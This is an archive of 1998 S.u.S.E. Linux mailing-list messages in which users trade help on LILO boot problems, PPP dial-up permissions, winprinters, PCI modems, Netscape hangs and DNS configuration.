> next thing in case the upper is true, enter all (mailhost, goodness
> knows what else) hosts in /etc/hosts.
> 
> good luck. 
> jurgen

Juergen,

I don't recall seeing the -q option documented, but you can bet I'm
going to give it a try. What puzzles me is why I can open a "New Msg"
window without a hang, but "Reply" hangs.

BTW, where does the -q option log to?

Thanks for listening

Howard Arons

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From roberto@cbvcp.com Fri Jun 19 18:04:05 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE LILO Difficulties
Date: Fri, 19 Jun 1998 11:04:05 -0700
Message-ID: <358AA815.EB3493EF@cbvcp.com>
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Ewan Dunbar wrote:

> The real problem I've been having though, is that even if I use the exact
> same version and configuration for LILO as I did to do LILO under
> Slackware, it works under Slackware and not SuSE.=20

Is this on the same partition or drive as sw?  I had rh 4.2 installed on
my machine before suse, and it caused these sort ofproblems until i was
tired of it and formatted the partition, and reinstalled suse.

> Odd, considering, the
> exact same file lilo.conf just copied over. If I use linear (under SuSE)
> it just gives me an L on boot, if not, LI.=20

Do you need to use linear?  I just looked at the yast help, and it said
that it's faster (which i have found to usually be better) to not use
the linear option.


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From roberto@crcsoft.com Fri Jun 19 18:31:28 1998
From: roberto@crcsoft.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 20:31:28 +0200
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Sorry, I have no idea how to access internet via linux...............

thanks.......

hekate(a)intergate.bc.ca wrote:

> Probably start off with some specific questions if you've tried and had
> problems.
>
> On Fri, 19 Jun 1998, Roberto wrote:
>
> >
> > Hi,
> >     I have recently buy the S.U.S.E. Linux 5.2, I have installed it on my
> > computer.
> >     All right, X very good, system reliable.......
> >
> > Now I have some problem to install an internet access to my provider and
> > netscape.
> > I am new in this word but I want to definitly terminate my WINDOWS usage.
> >
> > If anyone can help my I will be very happy.
> >
> > Thank's in advance.
> >
> > Bye
> >
> >
> > Roberto
> >
> >
> >
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From roberto@cbvcp.com Fri Jun 19 18:39:17 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] HP 820 Cse  (Printer)
Date: Fri, 19 Jun 1998 11:39:17 -0700
Message-ID: <358AB055.872E5E0C@cbvcp.com>
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I just read the printing faq, and learned that my printer is a
winprinter.  Could I get some recommendations for printers that do work
well in linux?  If they are good brands, that would be even better,
because I hate to be stuck with a product that could only perform half
of its duties in linux, such as not being able to print color.  Also, I
don't hold much help, but if someone has gotten a HP printer that is
labeled "For Windows" and made it work in linux, I would really
appreciate it if they would tell me how or give me some pointers.


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From satan@nfinity.com Fri Jun 19 19:25:23 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 14:25:23 -0500
Message-ID: <358ABB23.584C396F@nfinity.com>
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Then perhaps now would be a good time to start reading the manual.

Roberto wrote:
> 
> Sorry, I have no idea how to access internet via linux...............
> 
> thanks.......
>

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From jpcowh01@ox.slug.louisville.edu Fri Jun 19 19:49:42 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] HP 820 Cse  (Printer)
Date: Fri, 19 Jun 1998 15:49:42 -0400
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>=20
> I just read the printing faq, and learned that my printer is a
> winprinter.  Could I get some recommendations for printers that do work
> well in linux?  If they are good brands, that would be even better,
> because I hate to be stuck with a product that could only perform half
> of its duties in linux, such as not being able to print color.  Also, I
> don't hold much help, but if someone has gotten a HP printer that is
> labeled "For Windows" and made it work in linux, I would really
> appreciate it if they would tell me how or give me some pointers.
>=20
>=20

I wrestled with getting this printer to work with Linux.  I believe someone g=
oto it to work using ghostscript driver from ftp.mit.edu (I think that's the =
URL).  The only way I can think to use any windows devices (printers, modems,=
 etc) is to have a network between your linux machine and your windows machin=
e and run samba.  It will be able to see your printer as a network shared dev=
ice off your windows machine.

                                                                             =
                                                                             =
                                              Jonathan


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From satan@nfinity.com Fri Jun 19 19:59:45 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd
Date: Fri, 19 Jun 1998 14:59:45 -0500
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edit /etc/permissions

rknebel(a)csrlink.net wrote:
> 
> I am trying to make my ppp dialable by normal users.
> I have done this on other linux systems by the command chmod u+s
> /usr/sbin/pppd.

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From rknebel@csrlink.net Fri Jun 19 20:10:55 1998
From: rknebel@csrlink.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] pppd
Date: Fri, 19 Jun 1998 15:10:55 -0500
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I am trying to make my ppp dialable by normal users.
I have done this on other linux systems by the command chmod u+s
/usr/sbin/pppd.
This does not change the permissions in suse because I can still not dial
out with my normal user status only root.
I can change it by going to the file in tkdesk and making it exectable by
everyone but as soon as I run SUSEConfig for another reason it will cahnge
the permissions and i cannot run it as anything but root again.

I would be grateful for any suggestions 

Thanks Alot

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rknebel(a)csrlink.net

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From jpcowh01@ox.slug.louisville.edu Fri Jun 19 20:19:36 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd
Date: Fri, 19 Jun 1998 16:19:36 -0400
Message-ID: <199806192019.QAA26084@ox.slug.louisville.edu>
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> I am trying to make my ppp dialable by normal users.
> I have done this on other linux systems by the command chmod u+s
> /usr/sbin/pppd.
> This does not change the permissions in suse because I can still not dial
> out with my normal user status only root.
> I can change it by going to the file in tkdesk and making it exectable by
> everyone but as soon as I run SUSEConfig for another reason it will cahnge
> the permissions and i cannot run it as anything but root again.
>=20
> I would be grateful for any suggestions=20
>=20

I think you not only have to make the pppd binary world executable, but every=
thing that is associated with it like /etc/ppp/options and your chat log in s=
cript.

I think that I would have a script that is placed in either .login or .profil=
e that will run the pppd as root that way you don't have problems with trying=
 to track everything down.

                                                                             =
                                                                             =
                                                      Jonathan


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                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
                  http://www.slug.louisville.=
edu/~jpcowh01>

This is my world and I am...                           World Leader Pretend
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From brauki@cityweb.de Fri Jun 19 20:20:24 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Offline: Continued
Date: Fri, 19 Jun 1998 22:20:24 +0200
Message-ID: <358AC808.748956AD@cityweb.de>
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Howard Arons wrote:
> 
> Juergen Braukmann wrote:
> >
> > Howard Arons wrote:
> > >
> 
> [snip]
> 
> >> I can now compose _new_ messages
> > > while offline. However, attempting to _reply_ to an existing message
> > > still causes a hang.
> 
> [snip]
> 
> > a workaround could be to use a caching nameserver (i start with -q
> > option to log requested ip's in messages) and see what happens.
> >
> > next thing in case the upper is true, enter all (mailhost, goodness
> > knows what else) hosts in /etc/hosts.
> >
> > good luck.
> > jurgen
> 
> Juergen,
> 
> I don't recall seeing the -q option documented, but you can bet I'm
> going to give it a try. What puzzles me is why I can open a "New Msg"
> window without a hang, but "Reply" hangs.
> 
> BTW, where does the -q option log to?
> 
> Thanks for listening
> 

Upps. Little misunderstanding. -q refers to the named (caching only)
named will write adresses and ip's requested in /var/log/messages.

I suppose netscape is doing DNS requests. if your nameserver is not
reacheable (offline) netscape might wait forever. (or it's checking
anything else not there for the same reason)
You hopefully can figure this out by installing a caching only
nameserver. Requests should be logged in messages (see above).
I used Netscape 3.x for similar resons quite a while unti I finally
managed to keep it quiet. .procmailrc did all the mail sorting. but
mozilla 4.x is still much more fun.

Jürgen


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From roberto@crcsoft.com Fri Jun 19 21:13:26 1998
From: roberto@crcsoft.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 23:13:26 +0200
Message-ID: <358AD476.A2A935C4@crcsoft.com>
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I have read the manual, there are many instruction to install networking, I
think I have do it, but how I can telephon to my internet provider and logging
in the net???

I have triyed with the utility that make a call, they ask me for a login and
password, they seams to access but when I start a browser I tell me everytime
"error fetching.................", thys is one reason because I want to insta=
ll
netscape, but on the manuals there are nothing about it.

Michael Lankton wrote:

> Then perhaps now would be a good time to start reading the manual.
>
> Roberto wrote:
> >
> > Sorry, I have no idea how to access internet via linux...............
> >
> > thanks.......
> >
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From brauki@cityweb.de Fri Jun 19 21:20:33 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 23:20:33 +0200
Message-ID: <358AD621.6A737FE1@cityweb.de>
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Steven T. Hatton wrote:
>=20
> I have found that many computer professionals tend to use Linux at
> home.  Most of the people I have spoken with at Netscape tech support
> use Linux.  I have also learned that the folks at Godard Spaceflight
> like Linux.  Today I was driving to work and saw a Linux bumper
> sticker.  (Are you listening S.u.S.E)  I am curious to know how many
> people use Linux.  Does anybody have statistics on this?  How fast is it
> growing?
>=20

This might be not *THE* official source, but it provides some info. You
can register your Linux box there. See:

http:/=
/counter.li.org>

They provided some sort of statistics when I visited the site some month
ago.

J=C3=BCrgen


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From satan@nfinity.com Fri Jun 19 21:56:45 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 16:56:45 -0500
Message-ID: <358ADE9D.4E08C064@nfinity.com>
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It sounds like you are connecting to your isp, but that's all the
farther you get.  Make sure you have /dev/modem linked to the
appropriate device, and that /dev/modem is stated in /etc/ppp/options.=20
The best advice I can give is to read the ppp how-to.
ftp://sunsite.unc.edu=
/pub/Linux/docs/HOWTO/PPP-HOWTO>

Roberto wrote:
>=20
> I have read the manual, there are many instruction to install networking, I
> think I have do it, but how I can telephon to my internet provider and logg=
ing
> in the net???
>=20
> I have triyed with the utility that make a call, they ask me for a login and
> password, they seams to access but when I start a browser I tell me everyti=
me
> "error fetching.................", thys is one reason because I want to ins=
tall
> netscape, but on the manuals there are nothing about it.

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From schullersite@NOSPAMworldnet.att.net.suse.de Fri Jun 19 22:03:29 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] HP 820 Cse  (Printer)
Date: Fri, 19 Jun 1998 17:03:29 -0500
Message-ID: <358AE031.89C9C70E@NOSPAMworldnet.att.net>
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Aaron Seelye wrote:
>=20
> I just read the printing faq, and learned that my printer is a
> winprinter.  Could I get some recommendations for printers that do work
> well in linux?  If they are good brands, that would be even better,
> because I hate to be stuck with a product that could only perform half
> of its duties in linux, such as not being able to print color.  Also, I
> don't hold much help, but if someone has gotten a HP printer that is
> labeled "For Windows" and made it work in linux, I would really
> appreciate it if they would tell me how or give me some pointers.
>=20
> --
> Aaron Seelye
> http://revolution.3-cities.com/~roberto>
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I use an Epson Stylus Color 600 with excellent results.  It was all of
$200US.

Ken


--=20

Ken Schuller

Network Support Specialist

NovaNET Learning, Inc.

 Take out the spam foil to reply via e-mail. 

Incidentally, I speak for me.  That's all.  No one else.

Linux-  the best things in life are free! (Or at least GPL'ed...)
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From phil@stokes.demon.co.uk Fri Jun 19 22:50:49 1998
From: phil@stokes.demon.co.uk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd
Date: Fri, 19 Jun 1998 23:50:49 +0100
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On Fri, 19 Jun 1998, World Leader Pretend wrote:
> 
> > I am trying to make my ppp dialable by normal users.
> > I have done this on other linux systems by the command chmod u+s
> > /usr/sbin/pppd.
> > This does not change the permissions in suse because I can still not dial
> > out with my normal user status only root.
> > I can change it by going to the file in tkdesk and making it exectable by
> > everyone but as soon as I run SUSEConfig for another reason it will cahnge
> > the permissions and i cannot run it as anything but root again.
> > 
> > I would be grateful for any suggestions 
> > 
> 
> I think you not only have to make the pppd binary world executable, but 
> everything that is associated with it like /etc/ppp/options and your
> chat log in script.

AFAIR pppd is set to owner root and group dialout. It's simply a matter
of adding any users that you want to be able to dial to the group
dialout, and making sure that permissions for the options and chat
scripts are also set accordingly.

Phil

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From lsayre@integrityonline13.com Fri Jun 19 23:06:27 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Hostname not found?
Date: Fri, 19 Jun 1998 18:06:27 -0500
Message-ID: <358AEEF3.4EBBDA2C@integrityonline13.com>
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On boot-up I see the message "hostname not found", and I get the same if
I type hostname -d (-f, -s).

Any ideas on how to correct this in SuSE 5.2?

-----------------------------------------------
Man's mind is his basic tool of survival!

Lawrence Sayre 
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From kc8chq@juno.com Fri Jun 19 23:10:55 1998
From: kc8chq@juno.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
Date: Fri, 19 Jun 1998 19:10:55 -0400
Message-ID: <19980620.001007.2823.1.kc8chq@juno.com>
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Netscape is under "pay" ion YaST.

Best regards,
Bob Russell
kc8chq(a)juno.com
    Micro$oft, what do you want to spend today?
    If it says "requires Win95 or better," install Linux!

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From mclark@datsrvr.datsit.com Fri Jun 19 23:56:56 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd
Date: Fri, 19 Jun 1998 17:56:56 -0600
Message-ID: <358AFAC7.21FBDAF1@datsit.com>
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rknebel(a)csrlink.net wrote:

> I am trying to make my ppp dialable by normal users.
> I have done this on other linux systems by the command chmod u+s
> /usr/sbin/pppd.
> This does not change the permissions in suse because I can still not dial
> out with my normal user status only root.
> I can change it by going to the file in tkdesk and making it exectable by
> everyone but as soon as I run SUSEConfig for another reason it will cahnge
> the permissions and i cannot run it as anything but root again.
>
> I would be grateful for any suggestions
>
> Thanks Alot
>
>  --
> Rick Knebel
> rknebel(a)csrlink.net
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Make your users that you want to access the net members of the uucp and
dialout groups.  That's it!!!

mc


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From chandlerrick@hotmail.com Sat Jun 20 00:52:57 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Modem Problem
Date: Fri, 19 Jun 1998 17:52:57 -0700
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Was hopeing someone could help me with this problem.

I got a new DiamondMax 56k PCI modem and it doesn't work with SuSE.
My old PNP ISA modem works fine but this one doesn't..  Windows sees it=20
just fine. (unfortunately, I'm using Windows right now to send mail due=20
to Linux being down. :-(  ) =20

PLEASE HELP!!!!!

Rick

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From clm@hackers.the-core.net Sat Jun 20 01:42:10 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE LILO Difficulties
Date: Fri, 19 Jun 1998 21:42:10 -0400
Message-ID: <2.2.32.19980620014210.00d47f60@hackers.the-core.net>
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I have the very same problem and I use a bootdisk,, I tried and tried to get
it working with no success=20

Chris=20

At 01:06 PM 6/19/98 -0400, you wrote:
>
>I just got a copy of SuSE and I must admit it is very good. Couldn't get
>suseppp to work, so I finally forced myself into giving up and just
>manually doing ppp with SuSE's little add-on dialog-box thing (via YaST).
>The real problem I've been having though, is that even if I use the exact
>same version and configuration for LILO as I did to do LILO under
>Slackware, it works under Slackware and not SuSE. Odd, considering, the
>exact same file lilo.conf just copied over. If I use linear (under SuSE)=20
>it just gives me an L on boot, if not, LI. I have read through LILO
>documentation, know what these messages mean, and am still confounded
>because I just can't get it working!
>
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___________________________________________________

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From dana@ntd.net Sat Jun 20 01:46:26 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Modem Problem
Date: Fri, 19 Jun 1998 20:46:26 -0500
Message-ID: <358B1472.EDEDE1AC@ntd.net>
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RICK CHANDLER wrote:

> Was hopeing someone could help me with this problem.
>
> I got a new DiamondMax 56k PCI modem and it doesn't work with SuSE.
> My old PNP ISA modem works fine but this one doesn't..  Windows sees it
> just fine. (unfortunately, I'm using Windows right now to send mail due
> to Linux being down. :-(  )

I really don't know much about this modem Rick, but I sent their customer
support a message asking them if it is a Winmodem or something normal
that will work with another OS.  Send me a reply via email and I'll let
you
know their reply as soon as I get one.

Dana


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From leonmcclatchey@homemail.com Sat Jun 20 02:05:20 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd
Date: Fri, 19 Jun 1998 21:05:20 -0500
Message-ID: <358B18DF.8CF45FE9@homemail.com>
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rknebel(a)csrlink.net wrote:

> I am trying to make my ppp dialable by normal users.
> I have done this on other linux systems by the command chmod u+s
> /usr/sbin/pppd.
> This does not change the permissions in suse because I can still not dial
> out with my normal user status only root.
> I can change it by going to the file in tkdesk and making it exectable by
> everyone but as soon as I run SUSEConfig for another reason it will cahnge
> the permissions and i cannot run it as anything but root again.
>

The way I got it working for the "normal user" in suse 5.1 was (following the
docs) by creating a group (dialout) and adding the users that I wanted to have
internet access to that group.  It works great, to date, haven't had much luck
as far as getting dial on demand to work, but I did find a viable solution, I
did find that I could telnet into my linux box from my win95 box, start the
script to launch the internet connection, and then access the internet from my
win95 machine via my linux box using apache as a proxy server.  BTW, using
telnet, I have found that I can do everything (text style with no xfree) that
I could do on the linux box itself, except use the modem as a device to "dial
out to bbs's" but then with the internet and what's all available there, I
believe that the world of the BBS has kind of got left behind:-(


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cya l8r
Leon McClatchey
leonmcclatchey(a)homemail.com
(Win95 Box)

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From leonmcclatchey@homemail.com Sat Jun 20 02:13:43 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 21:13:43 -0500
Message-ID: <358B1AD6.2C103415@homemail.com>
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Michael Lankton wrote:

> It sounds like you are connecting to your isp, but that's all the
> farther you get.  Make sure you have /dev/modem linked to the
> appropriate device, and that /dev/modem is stated in /etc/ppp/options.
> The best advice I can give is to read the ppp how-to.
> ftp://sunsite.unc.e=
du/pub/Linux/docs/HOWTO/PPP-HOWTO>
>

Also make sure that in your /etc/resolv.conf reflects the correct name server=
 of your
ISP, I ran into that problem when I had the wrong DNS entry for my ISP, I cou=
ld
access direct addresses, but could not access any "human names":-)


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From satan@nfinity.com Sat Jun 20 02:18:16 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Modem Problem
Date: Fri, 19 Jun 1998 21:18:16 -0500
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To my knowledge, pci modems aren't supported in linux.  Feel free to
correct me if I'm wrong.  You can try running pnpdump, but if that
doesn't show your pci modem then you are probably s.o.l.  

RICK CHANDLER wrote:
> 
> Was hopeing someone could help me with this problem.
> 
> I got a new DiamondMax 56k PCI modem and it doesn't work with SuSE.
> My old PNP ISA modem works fine but this one doesn't..  Windows sees it
> just fine. (unfortunately, I'm using Windows right now to send mail due
> to Linux being down. :-(  )
> 
> PLEASE HELP!!!!!
> 
> Rick

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From satan@nfinity.com Sat Jun 20 02:29:37 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE LILO Difficulties
Date: Fri, 19 Jun 1998 21:29:37 -0500
Message-ID: <358B1E91.5837575@nfinity.com>
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Back when I first switched to SuSE, I had no success configuring lilo
with the tools provided, so I just made my own lilo.conf.  Here it is,
delete the last three lines if you don't dual boot.  You will need to
edit this to match what devices your system uses.  Hope this helps
anyone having a rough time with lilo in SuSE.
------------------------snip-----------------------------------------
boot=/dev/hda
compact
prompt
timeout=300
install=/boot/boot.b
map=/boot/map
image=/vmlinuz
label=linux
root=/dev/hda6
other=/dev/hda1
table=/dev/hda
label=win95
--------------------------------snip---------------------------------

Christopher L Miller wrote:
> 
> I have the very same problem and I use a bootdisk,, I tried and tried to get
> it working with no success
> 
> Chris

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From fmiller@lightlink.com Sat Jun 20 02:43:31 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 22:43:31 -0400
Message-ID: <358B21D3.8A1C84DA@lightlink.com>
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Steven T. Hatton wrote:
>=20
> I have found that many computer professionals tend to use Linux at
> home.  Most of the people I have spoken with at Netscape tech support
> use Linux.  I have also learned that the folks at Godard Spaceflight
> like Linux.  Today I was driving to work and saw a Linux bumper
> sticker.  (Are you listening S.u.S.E)  I am curious to know how many
> people use Linux.  Does anybody have statistics on this?  How fast is it
> growing?

In a recent article in one of the major industry rags, the fiture listed
is 100 0rowth for Linux, which MickySoft can't claim!
=20
> On a related note, I have found that products like the Netscape
> Communicator are not fully functional on Linux.  For example, I was
> using Netscape on windows NT and found a neat page that had really cool
> mouseover Java Script.  This does not seem to work with my Linux version
> of Netscape.   If any one else wants to see what I am talking about,
> try:  http://www.nokia.com/6100laun=
ch/feat_ir.html>.  under NT when I
> mouse over the parts of the phone the different text sections pop up
> immediately.  In Linux I need to click on the parts of the phone.  I
> find there are other features that don't exist under the Linux version
> of Netscape.  It may be that these features don't exist on any Unix
> versions.  It seems to me that if there is a growing Linux user
> community it would be wise of companies such as Netscape to provide
> better functionality than they do.  Any thoughts?

I'd agree....much left to be done.

Fred


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Cornell Univ. Press Services
fmiller(a)lightlink.com
fm(a)cupserv.org

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From fmiller@lightlink.com Sat Jun 20 02:55:09 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Fri, 19 Jun 1998 22:55:09 -0400
Message-ID: <358B248D.BE2EC17E@lightlink.com>
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I'm just using the driver supplied by SuSE and video is MUCH, MUCH
faster than NT on this same Tyan Pro BX box, with 333Mhz proc.  I would
suspect that the G200 will be supported in "short order."  Now, if I can
get my AWE-64 working tomorrow, life will be better.

Fred

W.D.McKinney wrote:
>=20
> Correct Fred,
> And the Matrox Millenium G200 will an awsome card also.
> With AccelX and my Matrox.....life is good.
>=20
> -Dee
>=20
> "Fred A. Miller"  wrote:
> >
> > Christopher L Miller wrote:
> > >
> > >         Actually I would disagree from experience,  matrox's Mellinum 1=
 was
> > > an incredible card, the mistique and Milluinum II both failed pretty ba=
d,
> > > Might I suggest a good ATI card.
> >
> > You might, but I wouldn't!  Matrox is anything but a failure!  It's
> > supported well in Linux, and VERY quick.
> >
> > Fred
> >
> > --
> > Fred A. Miller, Systems Administrator
> > Cornell Univ. Press Services
> > fmiller(a)lightlink.com
> > fm(a)cupserv.org


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From roberto@cbvcp.com Sat Jun 20 06:43:21 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] upgrading from 5.1 to 5.2
Date: Fri, 19 Jun 1998 23:43:21 -0700
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I am currently running 5.1, and recently ordered 5.2 from linuxmall (the
freeware version).  if i just pop the cd in, let yast do it's thing with
upgrading and all, what, if any, problems should i expect?


--=20
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http://revolution.3-cities.com/~roberto>
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From hettar@teleport.com Sat Jun 20 09:03:30 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Sat, 20 Jun 1998 02:03:30 -0700
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Steven Udell wrote:

> TEX wrote:
>
> >         How do you approach the school or what kind of relationship do yo=
u have to
> > have with the school.  What kind of school?  What is the Linux box going =
to do?
> > Will the kids have access?
> >         Just a few questions as I am giving linux boxes to two of my kids=
 soon,
> > and have always been wanting to get it in the schools.
> >     You can Email privatly, if you think the group does not want to hear.
> >
> > Anxiously waiting your reply.
>
> Hello TEX,
> --------
> My relationship with my school is that I am a 7th quarter EET student.
> There are 8 quaters till graduation. I am almost done. I have a fairly
> good GPA(grade point average) and EET is electronic engineering
> tech.  It is not a major univeristy, but; I live in the United States in the
> state of Oregon and the University of Oregon(which I am planning on
> going next) has a Beowolf cluster (lots of linux boxs linked together)
>
> All students will have access to the Linux box, and it might grow.
> We do have a room full of Ethernet linked computers, and it will
> be linked to it. Exactly what it will do is in the future. For them
> to let me actually install Linux took me over 4 months of asking.
> Everyday (perfect attendance). =3D]
>
> --------
>
> I approached the school by way of a professor. Telling him that I run
> a Linux box at home. He said he was very intrested but the schools
> classes might never "teach linux" as a subject as schools have
> department heads that have to go along with the finance department,
> only consider things they can make a "shopping list for". As to say
> they know only the programs that will run on an MS/OS.. As at school
> here they teach Visual Basic/Visual C++/Java.. all bought knowing what
> they are and what they can do and what OS they will run under.
>
> Linux is not in the direct line of sight for them, nor will it ever be soon.
>
> Aside from the bummer news.. is that I did install Linux on a PII HP system
> today at school. Yes it is in a dual boot configuartion (along side windows)
> I did have to "donate" a harddrive to put it on. And even brought in a chee=
py
> cd-rom drive. But actually they had one of thoes for me...Am, sorry I am
> telling this a bit forward, I did get the chance to install Linux at school=
 on
> a DX/486-33Mhz HP computer 2 months ago. Well it ran good, and they
> liked it.. About a week before my 2 week vacation, they got a slew of PIIs
> to upgrade thier computer room(where they teach visual/MS programming)
> and one of the HPs they got had a bad monitor. Well knowing that, a
> professor at school, knowing I kinda compained (and grumbled) why
> couldn't they get me one of thoes to work on. (to show off Linux) well
> he did, he grabbed it(it was offered to him after he asked) and he let me
> move my donated harddrive and cd-rom drive to the PII. And then I
> installed SuSE-5.2 onto it. (just today as a matter of fact) Hell of alot
> better than the 486DX-33 ;)..
>
> Now..basicly..its for show and tell..right now.. I do have a few friends
> at school that are into linux, or show some promise to use Linux. Even
> a few professors would like to get into it, after my demo of the Linux
> box today and when I had the 486DX-33 running it. They were all
> impressed.
>
> I have said to my professor that I am playing around with a static ip
> that I got from http://www.ml.org> and a domain name to use with
> a dynamic ip(my only connection to the net/WWW) Which I am
> learning to use apache/SQL/squid and I am planning on learning how
> to set up a ftp site(right now) and my professor's thoughts on that
> were very "intrested" as we could do such a thing here at school
> with the Linux box.
>
> Well thats what I can say for now. (sorry for the length)
> Hope its intresting...I should spell check this thing =3D] its
> off the top of my head..and all new to me. Hope its not
> just spam to the SuSE email list..
>
> Steven Udell
> hettar(a)teleport.com


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From brauki@cityweb.de Sat Jun 20 09:06:01 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] HP 820 Cse  (Printer)
Date: Sat, 20 Jun 1998 11:06:01 +0200
Message-ID: <358B7B79.39D29546@cityweb.de>
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Aaron Seelye wrote:
>=20
> I just read the printing faq, and learned that my printer is a
> winprinter.  Could I get some recommendations for printers that do work
> well in linux?  If they are good brands, that would be even better,
> because I hate to be stuck with a product that could only perform half
> of its duties in linux, such as not being able to print color.  Also, I
> don't hold much help, but if someone has gotten a HP printer that is
> labeled "For Windows" and made it work in linux, I would really
> appreciate it if they would tell me how or give me some pointers.
>=20
Hello Aaron,

The printing FAQ wont help you much in this case. The german SDB speaks
again:
http://localhost/suppor=
t-db/sdb/ke_printer-gdi.html>
=18
whow! I am lucky! nothing to translate this time :-))
http://localhost/su=
pport-db/sdb_e/ke_printer-gdi.html>

(The article is from june, 9th) search was "gdi-printer"

J=C3=BCrgen


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From chandlerrick@hotmail.com Sat Jun 20 12:04:51 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Modem Problem
Date: Sat, 20 Jun 1998 05:04:51 -0700
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>I really don't know much about this modem Rick, but I sent their=20
customer
>support a message asking them if it is a Winmodem or something normal
>that will work with another OS.  Send me a reply via email and I'll let
>you
>know their reply as soon as I get one.
>
>Dana
Cool, thanks Dana!!  I'd really love to get this thing going. =20

Thanks again..

Rick

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From chandlerrick@hotmail.com Sat Jun 20 12:07:10 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Modem Problem
Date: Sat, 20 Jun 1998 05:07:10 -0700
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>To my knowledge, pci modems aren't supported in linux.  Feel free to
>correct me if I'm wrong.  You can try running pnpdump, but if that
>doesn't show your pci modem then you are probably s.o.l. =20
Don't know myself..   I tried the pnpdump, but it didn't show the modem.=20
:-(   Oh well, guess I'll have to try the ISA one...

Thanks..

Rick

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From brauki@cityweb.de Sat Jun 20 13:57:09 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] ftp-download in batch mode
Date: Sat, 20 Jun 1998 15:57:09 +0200
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Hello Everybody,

I want to download packages from ftp-servers. (i.e. ftp.suse.com) in
batch mode.
I have tried "ftp 
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This sounds like a hardware problem to me.  Perhaps a cache or memory
problem ?
I once had a 486 that had a similar problem, random gcc failures.  I
disabled the
L2 cache and things compiled just fine.  Another virtually identical
machine had no
problems with L2 cache enabled.  Another thing to look at is the
memory/cache timing
settings in bios, perhaps they are a bit aggresive ?

john.

drew(a)adapco.com wrote:
> errno 11 from gcc when I try to compile my kernel.  It's fairly random when=
 it
> happens.  It doesn't always happen at the same point in compilation.  This =
happened

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From clm@hackers.the-core.net Sat Jun 20 14:11:54 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] TKDesk and Netscape
Date: Sat, 20 Jun 1998 10:11:54 -0400
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#locate netscape

find the exec file, move it to /usr/bin   tkdesk seems to be happy 

Chris 

On Sat, 20 Jun 1998, you wrote:
>Using SuSE 5.2, whenever I try to start Netscape, either from the App
>Bar, or by clicking on an .html file displayed in TKDesk, I get an error
>window that says "Alert! Can't execute: netscape". This happens whether
>or not Netscape is already running.
>
>I can start it from the fvwm2 menu and from the console without any
>problems.
>
>Does anyone know what I need to do to get it to start from within
>TKDesk? 
>
>Phil
>-- 
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From weissel@jupiter.ph-cip.uni-koeln.de Sat Jun 20 14:13:59 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X Download Dialog Box Stinks.
Date: Sat, 20 Jun 1998 16:13:59 +0200
Message-ID: <19980620161359.F22525@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, hattons(a)CPKWEBSER5.ncr.disa.mil produced:
> > Aehm, WHICH 'dialog box for file manipulation' ? I use the bash (and
> > fvwm2). If I want to create a directory, for example, I type mkdir
> > directory.
> 
> Yea, I can open a terminal window and create the directory that way, and
> then refresh the dialog box.  I find this inconvenient.

